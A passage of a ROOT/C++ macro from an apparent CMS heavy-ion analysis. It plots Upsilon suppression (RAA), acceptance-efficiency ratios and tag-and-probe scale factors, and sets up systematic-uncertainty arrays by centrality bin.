{legend->AddEntry(gRaaRap1,\"#varUpsilon(1S)\",\"pe\");\n legend->AddEntry(gRaaRap2TNP,\"#varUpsilon(2S)\",\"pe\");}\n if(plotTNP) {\n legend->AddEntry(gRaaRap1TNP,\"#varUpsilon(1S)\",\"pe\");\n if(plotTight){\n legend->AddEntry(gRaaRap1TNP4,\"#varUpsilon(1S) 'tight'\",\"pe\");\n }else{\n legend->AddEntry(gRaaRap2TNP,\"#varUpsilon(2S)\",\"pe\");\n }\n }\n legend->Draw();\n\n gPad->RedrawAxis();\n cRaarap->cd();\n\n CMS_lumi(cRaarap,103,33);\n cRaarap->Update();\n cRaarap->RedrawAxis();\n cRaarap->GetFrame()->Draw();\n\n if(plotTight){\n cRaarap->SaveAs(basedir2 + TString(\"/RAA_Rap4.pdf\"));\n cRaarap->SaveAs(basedir1 + TString(\"/RAA_Rap4.png\"));\n }else{\n cRaarap->SaveAs(basedir2 + TString(\"/RAA_Rap.pdf\"));\n cRaarap->SaveAs(basedir1 + TString(\"/RAA_Rap.png\"));\n }\n }\n cout << \"syst_1S_raa_global = \" << syst1S_raa_global << endl;\n doplot2010();\n plotRAA_uncorr();\n if(plotPA) plotDoubleRatios();\n if(plotEffOrAcc){\n TCanvas *cAccComp1 = new TCanvas(\"cAccComp1\",\"cAccComp1\"); \n cAccComp1->cd();\n TPad *pComp1 = new TPad(\"pComp1\",\"pComp1\",0.0,0.0,1.0,1.0);\n pComp1->SetBottomMargin(0.12);\n pComp1->SetTopMargin(0.03);\n pComp1->SetRightMargin(0.03);\n pComp1->SetLeftMargin(0.16);\n pComp1->Draw();\n pComp1->cd();\n TF1 *f4CompRap = new TF1(\"f4CompRap\",\"1\",0,2.45);\n f4CompRap->SetLineWidth(0);\n f4CompRap->GetXaxis()->SetTitle(\"|y|\");\n f4CompRap->GetYaxis()->SetTitle(\"#frac{A_{pp}}{A_{PbPb}}\");\n f4CompRap->GetYaxis()->SetTitleOffset(1.8);\n f4CompRap->GetYaxis()->SetTitleSize(0.028);\n f4CompRap->GetYaxis()->SetRangeUser(0.,2);\n f4CompRap->GetXaxis()->CenterTitle(kTRUE);\n f4CompRap->Draw();\n TGraphErrors *gCompRap1 = new TGraphErrors(nRapBins_2014,rap2014,R_A_1S_rap,rap2014e,R_A_1S_rape);\n gCompRap1->SetMarkerColor(kRed);\n gCompRap1->SetMarkerStyle(21);\n gCompRap1->SetMarkerSize(1.2);\n TGraphErrors *gCompRap1circle = new TGraphErrors(nRapBins_2014,rap2014,R_A_1S_rap,rap2014e,R_A_1S_rape);\n gCompRap1circle->SetMarkerStyle(25);\n gCompRap1circle->SetMarkerSize(1.2);\n gCompRap1circle->SetLineColor(kBlack);\n gCompRap1->Draw(\"pe\");\n gCompRap1circle->Draw(\"p\");\n f4CompRap->Draw(\"same\");\n gPad->RedrawAxis();\n legend = new TLegend(0.482,0.84,0.88,0.7);\n legend->SetTextSize(0.029);\n legend->SetFillStyle(0);\n legend->SetFillColor(0);\n legend->SetBorderSize(0);\n legend->SetTextFont(42);\n legend->AddEntry(gCompRap1,\"#varUpsilon(1S) A_{pp}/A_{PbPb} \",\"pe\");\n legend->Draw();\n\n\n TCanvas *cAccComp2 = new TCanvas(\"cAccComp2\",\"cAccComp2\"); \n cAccComp2->cd();\n TPad *pComp2 = new TPad(\"pComp2\",\"pComp2\",0.0,0.0,1.0,1.0);\n pComp2->SetBottomMargin(0.12);\n pComp2->SetTopMargin(0.03);\n pComp2->SetRightMargin(0.03);\n pComp2->SetLeftMargin(0.16);\n pComp2->Draw();\n pComp2->cd();\n TF1 *f4CompPt = new TF1(\"f4CompPt\",\"1\",0,20);\n f4CompPt->SetLineWidth(0);\n f4CompPt->GetXaxis()->SetTitle(\"p_{T}^{#varUpsilon}\");\n f4CompPt->GetYaxis()->SetTitle(\"#frac{A_{pp}}{A_{PbPb}}\");\n f4CompPt->GetYaxis()->SetTitleOffset(1.8);\n f4CompPt->GetYaxis()->SetTitleSize(0.028);\n f4CompPt->GetYaxis()->SetRangeUser(0.,2.);\n f4CompPt->GetXaxis()->CenterTitle(kTRUE);\n f4CompPt->Draw();\n TGraphErrors *gCompPt1 = new TGraphErrors(nPtBins_2013,pt,R_A_1S_pt,pte,R_A_1S_pte);\n gCompPt1->SetMarkerColor(kRed);\n gCompPt1->SetMarkerStyle(21);\n gCompPt1->SetMarkerSize(1.2);\n TGraphErrors *gCompPt1circle = new TGraphErrors(nPtBins_2013,pt,R_A_1S_pt,pte,R_A_1S_pte);\n gCompPt1circle->SetMarkerStyle(25);\n gCompPt1circle->SetMarkerSize(1.2);\n gCompPt1circle->SetLineColor(kBlack);\n gCompPt1->Draw(\"pe\");\n gCompPt1circle->Draw(\"p\");\n f4CompPt->Draw(\"same\");\n gPad->RedrawAxis();\n legend = new TLegend(0.482,0.84,0.88,0.7);\n legend->SetTextSize(0.029);\n legend->SetFillStyle(0);\n legend->SetFillColor(0);\n legend->SetBorderSize(0);\n legend->SetTextFont(42);\n legend->AddEntry(gCompPt1,\"#varUpsilon(1S) A_{pp}/A_{PbPb} \",\"pe\");\n legend->Draw();\n\n TCanvas *cAccEffComp1 = new TCanvas(\"cAccEffComp1\",\"cAccEffComp1\"); \n cAccEffComp1->cd();\n TPad *pAccEffComp1 = new TPad(\"pAccEffComp1\",\"pAccEffComp1\",0.0,0.0,1.0,1.0);\n pAccEffComp1->SetBottomMargin(0.12);\n pAccEffComp1->SetTopMargin(0.03);\n pAccEffComp1->SetRightMargin(0.03);\n pAccEffComp1->SetLeftMargin(0.16);\n pAccEffComp1->Draw();\n pAccEffComp1->cd();\n TF1 *f4CompRap = new TF1(\"f4CompRap\",\"1\",0,2.45);\n f4CompRap->SetLineWidth(0);\n f4CompRap->GetXaxis()->SetTitle(\"|y|\");\n f4CompRap->GetYaxis()->SetTitle(\"A #times #varepsilon_{pp,AA}\");\n f4CompRap->GetYaxis()->SetTitleOffset(1.8);\n f4CompRap->GetYaxis()->SetTitleSize(0.028);\n f4CompRap->GetYaxis()->SetRangeUser(0.,0.5);\n f4CompRap->GetXaxis()->CenterTitle(kTRUE);\n f4CompRap->Draw();\n TGraphErrors *gCompAccEffRap1 = new TGraphErrors(nRapBins_2014,rap2014,Ae_1S_pythia_rap2014,rap2014e,Ae_1S_pythia_rap2014e);\n gCompAccEffRap1->SetMarkerColor(kRed);\n gCompAccEffRap1->SetMarkerStyle(23);\n gCompAccEffRap1->SetMarkerSize(1.2);\n TGraphErrors *gCompAccEffRap1circle = new TGraphErrors(nRapBins_2014,rap2014,Ae_1S_pythia_rap2014,rap2014e,Ae_1S_pythia_rap2014e);\n gCompAccEffRap1circle->SetMarkerStyle(32);\n gCompAccEffRap1circle->SetMarkerSize(1.2);\n gCompAccEffRap1circle->SetLineColor(kBlack);\n gCompAccEffRap1->Draw(\"pe\");\n gCompAccEffRap1circle->Draw(\"p\");\n f4CompRap->Draw(\"same\");\n gPad->RedrawAxis();\n\n TGraphErrors *gCompAccEffRap1aa = new TGraphErrors(nRapBins_2014,rap2014,Ae_1S_pyquen_rap2014,rap2014e,Ae_1S_pyquen_rap2014e);\n gCompAccEffRap1aa->SetMarkerColor(kRed-7);\n gCompAccEffRap1aa->SetMarkerStyle(23);\n gCompAccEffRap1aa->SetMarkerSize(1.2);\n TGraphErrors *gCompAccEffRap1aacircle = new TGraphErrors(nRapBins_2014,rap2014,Ae_1S_pyquen_rap2014,rap2014e,Ae_1S_pyquen_rap2014e);\n gCompAccEffRap1aacircle->SetMarkerStyle(32);\n gCompAccEffRap1aacircle->SetMarkerSize(1.2);\n gCompAccEffRap1aacircle->SetLineColor(kBlack);\n gCompAccEffRap1aa->Draw(\"pe\");\n gCompAccEffRap1aacircle->Draw(\"p\");\n f4CompRap->Draw(\"same\");\n gPad->RedrawAxis();\n ///2S\n\n TCanvas *cAccEffComp2 = new TCanvas(\"cAccEffComp2\",\"cAccEffComp2\"); \n cAccEffComp2->cd();\n TPad *pAccEffComp1 = new TPad(\"pAccEffComp1\",\"pAccEffComp1\",0.0,0.0,1.0,1.0);\n pAccEffComp1->SetBottomMargin(0.12);\n pAccEffComp1->SetTopMargin(0.03);\n pAccEffComp1->SetRightMargin(0.03);\n pAccEffComp1->SetLeftMargin(0.16);\n pAccEffComp1->Draw();\n pAccEffComp1->cd();\n TF1 *f4CompRap = new TF1(\"f4CompRap\",\"1\",0,2.42);\n f4CompRap->SetLineWidth(0);\n f4CompRap->GetXaxis()->SetTitle(\"|y|\");\n f4CompRap->GetYaxis()->SetTitle(\"A #times #varepsilon_{pp,AA}\");\n f4CompRap->GetYaxis()->SetTitleOffset(1.8);\n f4CompRap->GetYaxis()->SetTitleSize(0.028);\n f4CompRap->GetYaxis()->SetRangeUser(0.,0.5);\n f4CompRap->GetXaxis()->CenterTitle(kTRUE);\n f4CompRap->Draw();\n pAccEffComp1->Draw();\n pAccEffComp1->cd();\n f4CompRap->Draw();\n TGraphErrors *gCompAccEffRap2 = new TGraphErrors(nRapBins_2014,rap2014,Ae_2S_pythia_rap2014,rap2014e,Ae_2S_pythia_rap2014e);\n gCompAccEffRap2->SetMarkerColor(kAzure+1);\n gCompAccEffRap2->SetMarkerStyle(21);\n gCompAccEffRap2->SetMarkerSize(1.2);\n TGraphErrors *gCompAccEffRap2circle = new TGraphErrors(nRapBins_2014,rap2014,Ae_2S_pythia_rap2014,rap2014e,Ae_2S_pythia_rap2014e);\n gCompAccEffRap2circle->SetMarkerStyle(25);\n gCompAccEffRap2circle->SetMarkerSize(1.2);\n gCompAccEffRap2circle->SetLineColor(kBlack);\n gCompAccEffRap2->Draw(\"pe\");\n gCompAccEffRap2circle->Draw(\"p\");\n f4CompRap->Draw(\"same\");\n gPad->RedrawAxis();\n\n TGraphErrors *gCompAccEffRap2aa = new TGraphErrors(nRapBins2S,rap2010,Ae_2S_pyquen_rap2010,rap2010e,Ae_2S_pyquen_rap2010e);\n gCompAccEffRap2aa->SetMarkerColor(kAzure+1);\n gCompAccEffRap2aa->SetMarkerStyle(21);\n gCompAccEffRap2aa->SetMarkerSize(1.2);\n TGraphErrors *gCompAccEffRap2aacircle = new TGraphErrors(nRapBins2S,rap2010,Ae_2S_pyquen_rap2010,rap2010e,Ae_2S_pyquen_rap2010e);\n gCompAccEffRap2aacircle->SetMarkerStyle(25);\n gCompAccEffRap2aacircle->SetMarkerSize(1.2);\n gCompAccEffRap2aacircle->SetLineColor(kBlack);\n gCompAccEffRap2aa->Draw(\"pe\");\n gCompAccEffRap2aacircle->Draw(\"p\");\n f4CompRap->Draw(\"same\");\n gPad->RedrawAxis();\n\n\n\n\n TCanvas *cEffComp1 = new TCanvas(\"cEffComp1\",\"cEffComp1\"); \n cEffComp1->cd();\n TPad *pComp1 = new TPad(\"pComp1\",\"pComp1\",0.0,0.0,1.0,1.0);\n pComp1->SetBottomMargin(0.12);\n pComp1->SetTopMargin(0.03);\n pComp1->SetRightMargin(0.03);\n pComp1->SetLeftMargin(0.16);\n pComp1->Draw();\n pComp1->cd();\n TF1 *f4CompRap = new TF1(\"f4CompRap\",\"1\",0,2.45);\n f4CompRap->SetLineWidth(0);\n f4CompRap->GetXaxis()->SetTitle(\"|y|\");\n f4CompRap->GetYaxis()->SetTitle(\"#frac{#epsilon_{pp}}{#epsilon_{PbPb}}\");\n f4CompRap->GetYaxis()->SetTitleOffset(1.8);\n f4CompRap->GetYaxis()->SetTitleSize(0.028);\n f4CompRap->GetYaxis()->SetRangeUser(0.,1.5);\n f4CompRap->GetXaxis()->CenterTitle(kTRUE);\n f4CompRap->Draw();\n TGraphErrors *gCompRap1 = new TGraphErrors(nRapBins_2014,rap2014,R_e_1S_rap,rap2014e,R_e_1S_rape);\n gCompRap1->SetMarkerColor(kRed);\n gCompRap1->SetMarkerStyle(21);\n gCompRap1->SetMarkerSize(1.2);\n TGraphErrors *gCompRap1circle = new TGraphErrors(nRapBins_2014,rap2014,R_e_1S_rap,rap2014e,R_e_1S_rape);\n gCompRap1circle->SetMarkerStyle(25);\n gCompRap1circle->SetMarkerSize(1.2);\n gCompRap1circle->SetLineColor(kBlack);\n gCompRap1->Draw(\"pe\");\n gCompRap1circle->Draw(\"p\");\n f4CompRap->Draw(\"same\");\n gPad->RedrawAxis();\n legend = new TLegend(0.482,0.84,0.88,0.7);\n legend->SetTextSize(0.029);\n legend->SetFillStyle(0);\n legend->SetFillColor(0);\n legend->SetBorderSize(0);\n legend->SetTextFont(42);\n legend->AddEntry(gCompRap1,\"#varUpsilon(1S) #epsilon_{pp}/#epsilon_{PbPb} \",\"pe\");\n legend->Draw();\n // now vs pt\n \n TCanvas *cEffCompPt = new TCanvas(\"cEffCompPt\",\"cEffCompPt\"); \n cEffCompPt->cd();\n TPad *pCompPt = new TPad(\"pCompPt\",\"pCompPt\",0.0,0.0,1.0,1.0);\n pCompPt->SetBottomMargin(0.12);\n pCompPt->SetTopMargin(0.03);\n pCompPt->SetRightMargin(0.03);\n pCompPt->SetLeftMargin(0.16);\n pCompPt->Draw();\n pCompPt->cd(); \n \n TF1 *f4CompPt = new TF1(\"f4CompPt\",\"1\",0,20.5);\n f4CompPt->SetLineWidth(0);\n f4CompPt->GetXaxis()->SetTitle(\"|p_{T}^{#varUpsilon}|\");\n f4CompPt->GetYaxis()->SetTitle(\"#frac{#epsilon_{pp}}{#epsilon_{PbPb}}\");\n f4CompPt->GetYaxis()->SetTitleOffset(1.8);\n f4CompPt->GetYaxis()->SetTitleSize(0.028);\n f4CompPt->GetYaxis()->SetRangeUser(0.,1.);\n f4CompPt->GetXaxis()->CenterTitle(kTRUE);\n f4CompPt->Draw();\n\n for(int i = 0; i<nPtBins_2013; i++){\n e_1S_pythia_pt3p5[i]*=t_1S_pythia_pt3p5[i];\n e_1S_pyquen_pt[i]*=t_1S_pyquen_pt3p5[i];\n }\n\n TGraphErrors *gCompPt1 = new TGraphErrors(nPtBins_2013,pt,e_1S_pythia_pt3p5,pte,e_1S_pythia_pt3p5e);\n gCompPt1->SetMarkerColor(kRed);\n gCompPt1->SetMarkerStyle(21);\n gCompPt1->SetMarkerSize(1.2);\n TGraphErrors *gCompPt1circle = new TGraphErrors(nPtBins_2013,pt,e_1S_pythia_pt3p5,pte,e_1S_pythia_pt3p5e);\n gCompPt1circle->SetMarkerStyle(25);\n gCompPt1circle->SetMarkerSize(1.2);\n gCompPt1circle->SetLineColor(kBlack);\n gCompPt1->Draw(\"pe\");\n gCompPt1circle->Draw(\"p\");\n f4CompPt->Draw(\"same\");\n gPad->RedrawAxis();\n TGraphErrors *gCompPt_pbpb = new TGraphErrors(nPtBins_2013,pt,e_1S_pyquen_pt,pte,e_1S_pyquen_pte);\n gCompPt_pbpb->SetMarkerColor(kBlue);\n gCompPt_pbpb->SetMarkerStyle(21);\n gCompPt_pbpb->SetMarkerSize(1.2);\n TGraphErrors *gCompPt_pbpbcircle = new TGraphErrors(nPtBins_2013,pt,e_1S_pyquen_pt,pte,e_1S_pyquen_pte);\n gCompPt_pbpbcircle->SetMarkerStyle(25);\n gCompPt_pbpbcircle->SetMarkerSize(1.2);\n gCompPt_pbpbcircle->SetLineColor(kBlack);\n gCompPt_pbpb->Draw(\"pe\");\n gCompPt_pbpbcircle->Draw(\"p\");\n f4CompPt->Draw(\"same\");\n gPad->RedrawAxis();\n legend = new TLegend(0.482,0.4,0.88,0.7);\n legend->SetTextSize(0.05);\n legend->SetFillStyle(0);\n legend->SetFillColor(0);\n legend->SetBorderSize(0);\n legend->SetTextFont(42);\n legend->AddEntry(gCompPt1,\"#varUpsilon(1S) #epsilon_{pp} vs. p_{T}^{#mu#mu}\",\"pe\");\n legend->AddEntry(gCompPt_pbpb,\"#varUpsilon(1S) #epsilon_{PbPb} vs. p_{T}^{#mu#mu}\",\"pe\"); \n legend->Draw();\n cEffCompPt->SaveAs(basedir1 + TString(\"/effcomp.pdf\"));\n //tnp\n TCanvas *cTnpCompPt = new TCanvas(\"cTnpCompPt\",\"cTnpCompPt\"); \n cTnpCompPt->cd();\n TPad *pCompPt = new TPad(\"pCompPt\",\"pCompPt\",0.0,0.0,1.0,1.0);\n pCompPt->SetBottomMargin(0.12);\n pCompPt->SetTopMargin(0.03);\n pCompPt->SetRightMargin(0.03);\n pCompPt->SetLeftMargin(0.16);\n pCompPt->Draw();\n pCompPt->cd(); \n \n TF1 *f4CompPt = new TF1(\"f4CompPt\",\"1\",0,20.5);\n f4CompPt->SetLineWidth(0);\n f4CompPt->GetXaxis()->SetTitle(\"|p_{T}^{#varUpsilon}|\");\n f4CompPt->GetYaxis()->SetTitle(\"SF_{pp,PbPb}\");\n f4CompPt->GetYaxis()->SetTitleOffset(1.8);\n f4CompPt->GetYaxis()->SetTitleSize(0.028);\n f4CompPt->GetYaxis()->SetRangeUser(0.7,1.3);\n f4CompPt->GetXaxis()->CenterTitle(kTRUE);\n f4CompPt->Draw();\n\n TGraphErrors *gtnpPt1 = new TGraphErrors(nPtBins_2013,pt,t_1S_pythia_pt3p5,pte,0);\n gtnpPt1->SetMarkerColor(kBlue);\n gtnpPt1->SetMarkerStyle(21);\n gtnpPt1->SetMarkerSize(1.2);\n TGraphErrors *gtnpPt1circle = new TGraphErrors(nPtBins_2013,pt,t_1S_pythia_pt3p5,pte,0);\n gtnpPt1circle->SetMarkerStyle(25);\n gtnpPt1circle->SetMarkerSize(1.2);\n gtnpPt1circle->SetLineColor(kBlack);\n gtnpPt1->Draw(\"pe\");\n gtnpPt1circle->Draw(\"p\");\n f4CompPt->Draw(\"same\");\n gPad->RedrawAxis();\n TGraphErrors *gtnpPt_pbpb = new TGraphErrors(nPtBins_2013,pt,t_1S_pyquen_pt3p5,pte,0);\n gtnpPt_pbpb->SetMarkerColor(kRed);\n gtnpPt_pbpb->SetMarkerStyle(21);\n gtnpPt_pbpb->SetMarkerSize(1.2);\n TGraphErrors *gtnpPt_pbpbcircle = new TGraphErrors(nPtBins_2013,pt,t_1S_pyquen_pt3p5,pte,0);\n gtnpPt_pbpbcircle->SetMarkerStyle(25);\n gtnpPt_pbpbcircle->SetMarkerSize(1.2);\n gtnpPt_pbpbcircle->SetLineColor(kBlack);\n gtnpPt_pbpb->Draw(\"pe\");\n gtnpPt_pbpbcircle->Draw(\"p\");\n f4CompPt->Draw(\"same\");\n gPad->RedrawAxis();\n\n legend = new TLegend(0.482,0.3,0.9,0.5);\n // legend->SetTextSize(0);\n legend->SetFillStyle(0);\n legend->SetFillColor(0);\n legend->SetBorderSize(0);\n legend->SetTextFont(42);\n legend->AddEntry(gtnpPt1,\"#varUpsilon(1S) SF_{pp} vs. p_{T}^{#mu#mu}\",\"pe\");\n legend->AddEntry(gtnpPt_pbpb,\"#varUpsilon(1S) SF_{PbPb} vs. p_{T}^{#mu#mu}\",\"pe\"); \n legend->Draw();\n cTnpCompPt->SaveAs(basedir1 + TString(\"/Tnp_SFcomp.pdf\"));\n //now 2S\n\n TCanvas *cEffComp2 = new TCanvas(\"cEffComp2\",\"cEffComp2\"); \n cEffComp2->cd();\n TPad *pComp2 = new TPad(\"pComp2\",\"pComp2\",0.0,0.0,1.0,1.0);\n pComp2->SetBottomMargin(0.12);\n pComp2->SetTopMargin(0.03);\n pComp2->SetRightMargin(0.03);\n pComp2->SetLeftMargin(0.16);\n pComp2->Draw();\n pComp2->cd();\n TF1 *f4CompPt = new TF1(\"f4CompPt\",\"1\",0,20);\n f4CompPt->SetLineWidth(0);\n f4CompPt->GetXaxis()->SetTitle(\"p_{T}^{#varUpsilon}\");\n f4CompPt->GetYaxis()->SetTitle(\"#frac{#epsilon_{pp}}{#epsilon_{PbPb}}\");\n f4CompPt->GetYaxis()->SetTitleOffset(1.8);\n f4CompPt->GetYaxis()->SetTitleSize(0.028);\n f4CompPt->GetYaxis()->SetRangeUser(0.,1.5);\n f4CompPt->GetXaxis()->CenterTitle(kTRUE);\n f4CompPt->Draw();\n TGraphErrors *gCompPt1 = new TGraphErrors(nPtBins_2013,pt,R_e_1S_pt,pte,R_e_1S_pte);\n gCompPt1->SetMarkerColor(kRed);\n gCompPt1->SetMarkerStyle(21);\n gCompPt1->SetMarkerSize(1.2);\n TGraphErrors *gCompPt1circle = new TGraphErrors(nPtBins_2013,pt,R_e_1S_pt,pte,R_e_1S_pte);\n gCompPt1circle->SetMarkerStyle(25);\n gCompPt1circle->SetMarkerSize(1.2);\n gCompPt1circle->SetLineColor(kBlack);\n gCompPt1->Draw(\"pe\");\n gCompPt1circle->Draw(\"p\");\n f4CompPt->Draw(\"same\");\n gPad->RedrawAxis();\n legend = new TLegend(0.482,0.84,0.88,0.7);\n legend->SetTextSize(gTextSize);\n legend->SetFillStyle(0);\n legend->SetFillColor(0);\n legend->SetBorderSize(0);\n legend->SetTextFont(42);\n legend->AddEntry(gCompPt1,\"#varUpsilon(1S) #epsilon_{pp}/#epsilon_{PbPb} \",\"pe\");\n legend->Draw();\n }\n}\n\nfloat computeRatio(float x, float y) \n{\n // pass the yield (x), and Acc*eff (y), and computes the corrected yield. then divide by lumi and delta rapidity to get the cross section. in case of pbpb, divide by taa*nMB to get the nColl scaled invariant yield.\n float ratio;\n ratio = x/y;\n \n return ratio;\n}\n \nfloat computeRatioError(float x, float y, float xerr, float yerr) \n{\n //propagate the error of the ratio\n float err = (xerr*xerr)/(x*x) + (yerr*yerr)/(y*y);\n \n // + 2.*(x.getError()*y.getError())/(x.getVal()*y.getVal())*correlation; // can be needed in case of correlations.\n \n return fabs(computeRatio(x,y))*sqrt(err);\n}\n\n\nvoid doplot2010()\n{\n float deltaPt_2010[nPtBins_2010] = {5,7,8};\n float deltaRap2010[nRapBins_2010] = {2.4,2.4};\n float CS1S_pp_tot;\n float CS1S_pp_tot4;\n float CS1S_pp_tote;\n float CS1S_pp_tot4e;\n float CS1S_pp_tots;\n float CS1S_pp_tot4s;\n float CS1S_aa_tot;\n float CS1S_aa_tote;\n float CS1S_aa_tots;\n float CS1S_aa_cent[nCentBins_2014] = {}; \n float CS1S_aa_cente[nCentBins_2014] = {};\n float CS1S_aa_cents[nCentBins_2014] = {};\n float RAA_1S_cent[nCentBins_2014]={};\n float RAA_1S_cente[nCentBins_2014]={};\n float RAA_1S_cents[nCentBins_2014]={};\n float RAA_1S_centsT[nCentBins_2014]={};\n // float RAA_1S_centsg[nCentBins_2014]={};\n // float RAA_1S_centsglob;\n float CS1S_aa_cent4[nCentBins_2014] = {};\n float CS1S_aa_cent4e[nCentBins_2014] = {};\n float CS1S_aa_cent4s[nCentBins_2014] = {};\n float RAA_1S_cent4[nCentBins_2014]={};\n float RAA_1S_cent4e[nCentBins_2014]={};\n float RAA_1S_cent4s[nCentBins_2014]={};\n float RAA_1S_cent4sT[nCentBins_2014]={};\n // float RAA_1S_cents4g[nCentBins_2014-1]={};\n // float RAA_1S_cents4glob;\n\n\n float RAA_1S_tot;\n float RAA_1S_tote;\n float RAA_1S_tots;\n float RAA_2S_tot;\n float RAA_2S_tote;\n float RAA_2S_tots;\n float RAA_3S_tot;\n float RAA_3S_UL;\n float RAA_3S_tote;\n float CS2S_pp_tot;\n float CS2S_pp_tote;\n float CS2S_pp_tots;\n\n float CS2S_aa_tot;\n float CS2S_aa_tots;\n float CS2S_aa_tote;\n float CS3S_pp_tot;\n float CS3S_pp_tote;\n float CS3S_pp_tots;\n float CS3S_aa_tot;\n float CS3S_aa_tote;\n float CS3S_aa_UL;\n float CS2S_aa_cent[nCentBins2S] = {};\n float CS2S_aa_cente[nCentBins2S] = {};\n float CS2S_aa_cents[nCentBins2S] = {};\n float CS2S_aa_4bin[nCentBins2S] = {};\n float CS2S_aa_4bine[nCentBins2S] = {};\n float CS2S_aa_4bins[nCentBins2S] = {};\n float RAA_2S_cent[nCentBins2S]={};\n float RAA_2S_cente[nCentBins2S]={};\n float RAA_2S_4bin[nCentBins2S]={};\n float RAA_2S_4bine[nCentBins2S]={};\n float RAA_2S_cents[nCentBins2S]={};\n float RAA_2S_centsT[nCentBins2S]={};\n\n //fit syst.\n float syst1S_aa_Cent[nCentBins_2014]={};\n float syst1S_aa_Cent4[nCentBins_2014]={};\n float syst2S_aa_Cent[nCentBins2S]={};\n float fit_syst2S_aa_Cent[nCentBins2S]={};\n float bkg_syst2S_aa_Cent[nCentBins2S]={};\n // tnp syst.\n float syst1S_aatnp_Cent[nCentBins_2014]={};\n float syst1S_aatnp_Cent4[nCentBins_2014]={};\n float syst2S_aatnp_Cent[nCentBins2S]={};\n\n //taa-point-to-point syst.\n float syst1S_taa_cent[nCentBins_2014]={};\n float syst2S_taa_cent[nCentBins_2014-1]={};\n //point-to-point syst for all\n float syst2S_raa_pointCent[nCentBins2S]={};\n float syst1S_raa_pointCent4[nCentBins_2014]={};\n float syst1S_raa_pointCent[nCentBins_2014]={};\n //total syst for tables\n float syst2S_raa_cent[nCentBins2S]={};\n float syst1S_raa_cent[nCentBins_2014]={}; \n float syst1S_raa_cent4[nCentBins_2014]={};\n //cross section pt to pt syst.\n float syst2S_csaa_cent[nCentBins2S]={};\n float syst1S_csaa_cent4[nCentBins_2014]={};\n float syst1S_csaa_cent[nCentBins_2014]={}\n\n //DOUBLE DIFFERENTIAL STUFF\n // float CS1S_aa_y120[nCentBins_2010]={};\n // float CS1S_aa_y120e[nCentBins_2010]={};\n float CS1S_aa_y240[nCentBins_2010]={};\n float CS1S_aa_y240e[nCentBins_2010]={};\n float CS1S_aa_pt5[nCentBins_2010]={};\n float CS1S_aa_pt5e[nCentBins_2010]={};\n float CS1S_aa_pt12[nCentBins_2010]={};\n float CS1S_aa_pt12e[nCentBins_2010]={};\n float CS1S_aa_pt20[nCentBins_2010]={};\n float CS1S_aa_pt20e[nCentBins_2010]={};\n // float RAA_1S_y120[nCentBins_2010]={};\n // float RAA_1S_y120e[nCentBins_2010]={};\n float RAA_1S_y240[nCentBins_2010]={};\n float RAA_1S_y240e[nCentBins_2010]={};\n float RAA_1S_pt5[nCentBins_2010]={};\n float RAA_1S_pt5e[nCentBins_2010]={};\n float RAA_1S_pt12[nCentBins_2010]={};\n float RAA_1S_pt12e[nCentBins_2010]={};\n float RAA_1S_pt20[nCentBins_2010]={};\n float RAA_1S_pt20e[nCentBins_2010]={};\n //large things\n float CS1S_pp_ptLarge[nPtBins_2010] = {};\n float CS1S_pp_ptLargee[nPtBins_2010] = {};\n\n\n //large things\n float CS1S_pp_rapLarge[nRapBins_2010] = {};\n float CS1S_pp_rapLargee[nRapBins_2010] = {};\n //ofSyst.open(outSyst.c_str(), ios_base::out | ios_base::app); \n\n syst1S_aa_Cent[7]= sqrt (pow(RMS(N1S_aa_cent3p5[7],N1S_aa_cents_5,nfitvars),2)+ pow(maxDeviation(N1S_aa_cent3p5[7],N1B_aa_cents_5,nbkgdvars),2)) ;\n syst1S_aa_Cent[6]= sqrt (pow(RMS(N1S_aa_cent3p5[6],N1S_aa_cents_10,nfitvars),2)+ pow(maxDeviation(N1S_aa_cent3p5[6],N1B_aa_cents_10,nbkgdvars),2)) ;\n syst1S_aa_Cent[5]= sqrt (pow(RMS(N1S_aa_cent3p5[5],N1S_aa_cents_20,nfitvars),2)+ pow(maxDeviation(N1S_aa_cent3p5[5],N1B_aa_cents_20,nbkgdvars),2)) ;\n syst1S_aa_Cent[4]= sqrt (pow(RMS(N1S_aa_cent3p5[4],N1S_aa_cents_30,nfitvars),2)+ pow(maxDeviation(N1S_aa_cent3p5[4],N1B_aa_cents_30,nbkgdvars),2)) ;\n syst1S_aa_Cent[3]= sqrt (pow(RMS(N1S_aa_cent3p5[3],N1S_aa_cents_40,nfitvars),2)+ pow(maxDeviation(N1S_aa_cent3p5[3],N1B_aa_cents_40,nbkgdvars),2)) ;\n syst1S_aa_Cent[2]= sqrt (pow(RMS(N1S_aa_cent3p5[2],N1S_aa_cents_50,nfitvars),2)+ pow(maxDeviation(N1S_aa_cent3p5[2],N1B_aa_cents_50,nbkgdvars),2)) ;\n syst1S_aa_Cent[1]= sqrt (pow(RMS(N1S_aa_cent3p5[1],N1S_aa_cents_70,nfitvars),2)+ pow(maxDeviation(N1S_aa_cent3p5[1],N1B_aa_cents_70,nbkgdvars),2)) ;\n syst1S_aa_Cent[0]= sqrt (pow(RMS(N1S_aa_cent3p5[0],N1S_aa_cents_100,nfitvars),2)+ pow(maxDeviation(N1S_aa_cent3p5[0],N1B_aa_cents_100,nbkgdvars),2)) ;\n\n syst1S_aa_Cent4[7]= sqrt (pow(RMS(N1S_aa_cent4[7],N1S_aa_cent4s_5,nfitvars),2)+ pow(maxDeviation(N1S_aa_cent4[7],N1B_aa_cent4s_5,nbkgdvars),2)) ;\n syst1S_aa_Cent4[6]= sqrt (pow(RMS(N1S_aa_cent4[6],N1S_aa_cent4s_10,nfitvars),2)+ pow(maxDeviation(N1S_aa_cent4[6],N1B_aa_cent4s_10,nbkgdvars),2)) ;\n syst1S_aa_Cent4[5]= sqrt (pow(RMS(N1S_aa_cent4[5],N1S_aa_cent4s_20,nfitvars),2)+ pow(maxDeviation(N1S_aa_cent4[5],N1B_aa_cent4s_20,nbkgdvars),2)) ;\n syst1S_aa_Cent4[4]= sqrt (pow(RMS(N1S_aa_cent4[4],N1S_aa_cent4s_30,nfitvars),2)+ pow(maxDeviation(N1S_aa_cent4[4],N1B_aa_cent4s_30,nbkgdvars),2)) ;\n syst1S_aa_Cent4[3]= sqrt (pow(RMS(N1S_aa_cent4[3],N1S_aa_cent4s_40,nfitvars),2)+ pow(maxDeviation(N1S_aa_cent4[3],N1B_aa_cent4s_40,nbkgdvars),2)) ;\n syst1S_aa_Cent4[2]= sqrt (pow(RMS(N1S_aa_cent4[2],N1S_aa_cent4s_50,nfitvars),2)+ pow(maxDeviation(N1S_aa_cent4[2],N1B_aa_cent4s_50,nbkgdvars),2)) ;\n 